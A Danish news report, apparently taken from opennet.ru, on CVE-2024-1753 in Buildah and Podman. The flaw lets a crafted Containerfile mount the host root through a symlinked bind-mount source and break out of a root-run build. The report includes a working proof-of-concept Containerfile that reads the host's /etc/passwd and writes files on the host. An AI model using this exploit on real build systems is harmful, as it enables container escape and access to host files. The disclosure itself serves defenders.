Sårbarhed i Buildah og Podman, der muliggør omgåelse af containerisolering.

I Buildah- og Podman-pakkerne er der opdaget en sårbarhed (CVE-2024-1753), der muliggør fuld adgang til værtsmiljøets filsystem under opbygningen af en container, der kører med root-rettigheder. På systemer med aktiveret SELinux er adgangen til værtsfilsystemet begrænset til læsning. En løsning er i øjeblikket tilgængelig som en patch, som netop er blevet accepteret i Buildah-kildekoden.

Sårbarheden skyldes, at når der monteres dele af filsystemet gennem kommandoen "mount --bind" under opbygningen i RUN-fasen, kontrolleres argumentet med den oprindelige mappe (parameteren "source=") ikke for eksistens i rodfilsystemet. En konfigurationsfil i Containerfile udformet af en angriber kan anvende et containerbillede, hvor den oprindelige mappe til montering er sat op som et symbolsk link til rodfilsystemet. I dette tilfælde vil monteringsoperationen føre til, at værtsmiljøets rodfilsystem monteres ind i containeren, hvilket muliggør fuld adgang til værtsfilsystemet under RUN-fasen og giver mulighed for at bryde ud af containeren under opbygningen ved hjælp af kommandoerne "buildah build" eller "podman build".

Et eksempel på en ondsindet Containerfile, hvis opbygning med kommandoen "podman build -f ~/Containerfile ." vil vise indholdet af /etc/passwd og oprette filerne /BIND_BREAKEOUT og /etc/BIND_BREAKOUT2 i værtsmiljøet: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo "ls container root" RUN ls -l / RUN echo "Med udnyttelse viser værtsroot, ikke containerens root, og opretter /BIND_BREAKOUT i / på værten" RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo "Med udnyttelse viser værts /etc/passwd, ikke containerens, og opretter /BIND_BREAKOUT2 i /etc på værten" RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Kilde: opennet.ru

Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere 🔥 Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere | ProHoster